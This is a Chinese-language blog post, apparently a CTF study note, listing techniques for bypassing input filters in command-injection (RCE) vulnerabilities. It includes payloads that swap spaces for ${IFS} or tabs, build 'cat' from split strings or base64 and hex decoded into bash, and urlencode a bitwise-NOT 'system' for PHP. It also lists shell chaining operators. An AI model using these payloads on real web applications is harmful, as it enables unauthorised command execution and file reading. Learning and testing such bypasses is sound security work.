命令执行 rce各种绕过技巧

本文详细介绍了命令执行漏洞的概念,成因,以及在Linux和Windows系统中的常见绕过方法,包括利用空格、特殊字符、环境变量、编码技巧、管道符等,旨在提升网络安全意识和技术防护措施。
摘要由CSDN通过智能技术生成

目录

目录

命令执行漏洞简介

1. linux读取命令

2.空格

3.常见的命令执行函数

4.字符过滤

1.单双引号反斜杠保住命令,如"l"'s','和"称为连接符,用来连接字符串,l``s

2.使用通配符? *例如:cat *.txt

3.base64,ASCII,shellcode编码绕过,例如过滤cat

4.拼接命令实现过滤例如#cat flag.php

5.使用环境变量

6.ban掉括号使用反引号实现通杀解

7.使用换行符\

8.无回显函数执行

9.未定义的初始化变量(空变量)

10.printf绕过(字符串进制绕过)

5.取反绕过

6.windows 和 linux 管道符

windows

linux



命令执行漏洞简介

命令执行漏洞就是黑客可以直接在web应用中执行系统命令,从而获取敏感信息或者拿下shell权限。

命令执行漏洞成因命令执行漏洞形成的原因是web服务器对用户输入的命令安全监测不足,导致恶意代码被执行。

接下来是各种命令执行的绕过技巧

1. linux读取命令

cat
tac tac命令的功能是用于反向显示文件内容.也就是说,当我们使用tac命令查看文件内容时,最先显示的是最后一行,倒数第二行,倒数第三行,以此类推到最后显示原本文件的第一行内容。
head head命令的功能是显示文件开头的内容,默认为前10行。
more
less
tail
od od命令会读取所给予的文件的内容,并将其内容以八进制字码呈现出来。
nl
uniq
sort
rev

2.空格

` 1.重定向符,文件读取时,可用cat<>flag.php,单独使用<似乎也可以`

`2.${IFS},$IFS$9,$IFS

${IFS}:

$IFS$9:

`3.控制字符代替,%09(tab),%0a`

`4.字符串截取空格,例如ctfshow=aabbcc,${ctfshow}=aabbcc,${ctfshow:2}=bbcc,${ctfshow:4:1}=c,有理论基础就可以通过已经定义的环境变量来构造字符串。`
5.在bash下还可以使用{cmd,args}`,例如{cat,text}

3.常见的命令执行函数

system():执行外部函数,并且显示输出

passthru():执行外部程序并且显示原始输出

shell_exec(): 通过shell执行命令并将完整的输出以字符串的方式返回

exec():执行外部函数:
针对exec()无回显函数,可以执行ls /|tee 1.txt,将内容保存到1.txt中,然后访问

4.字符过滤

1.单双引号反斜杠保住命令,如"l"'s','和"称为连接符,用来连接字符串,l``s
 


2.使用通配符? *例如:cat *.txt
 

3.base64,ASCII,shellcode编码绕过,例如过滤cat

base64:
echo t|base64,将t转为base64编码
ca$(echo 'dAo'|base64 -d) 1.txt



ACSII码:
import binascii
s = b"tac flag"
h = binascii.b2a_hex(s)
print(h)
echo "74616320666c61672e706870" |xxd -r -p|bash
?cmd=passthru('echo "74616320666c61672e706870"|xxd -r -p|bash');

shellcode:
例如: echo "\x63\x61\x74\x20\x31\x2e\x74\x78\x74"|bash
`(echo "\x63\x61\x74\x20\x31\x2e\x74\x78\x74")`,反引号执行()里的命令

4.拼接命令实现过滤例如#cat flag.php

a=ca;b=t;m=flag;n=.php;$a$b $m$n


5.使用环境变量
6.ban掉括号使用反引号实现通杀解

cat `echo `1.txt``

echo `1.txt`|base64
cat `echo 'MSS0eHQK'|base64 -d`


7.使用换行符\

例如执行命令 ca\t 1.t\xt

8.无回显函数执行

使用延时函数,例如ls|sleep 3

9.未定义的初始化变量(空变量)

cat 1.t${x}xt

10.printf绕过(字符串进制绕过

\NNN 八进制数 NNN 所代表的 ASCII 码字符。

\xHH 十六进制 HH 对应的8位字符。HH 可以是一到两位。

\uHHHH 十六进制 HHHH 对应的 Unicode 字符。HHHH 一到四位。

\UHHHHHHHH十六进制 HHHHHHHH 对应的 Unicode 字符。HHHHHHHH 一到八位

5.取反绕过

php代码:
<?php
echo urlencode(~"system");
print("\n");
echo urlencode(~"cat /f*");

6.windows 和 linux 管道符

windows

| 直接执行后面的命令。
|| 前面执行的命令执行出错才执行后面的语句。
& 前面的语句无论真假都可以执行后面的语句。(无条件执行后面的语句,推荐使用。)
&& 前面语句为真才能执行后面的语句。

linux

Linux系统支持的管道符:
| 显示后面语句的执行结果。

fig:


; 执行完前面的语句再执行后面的。
|| 前面语句执行错误才执行后面的语句。
& 前面语句无论真假都会执行后面的语句。(无条件执行后面的语句,推荐使用。)

&& 前面的语句为真才能执行后面的语句。

fig:

  • 54
    点赞
  • 42
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值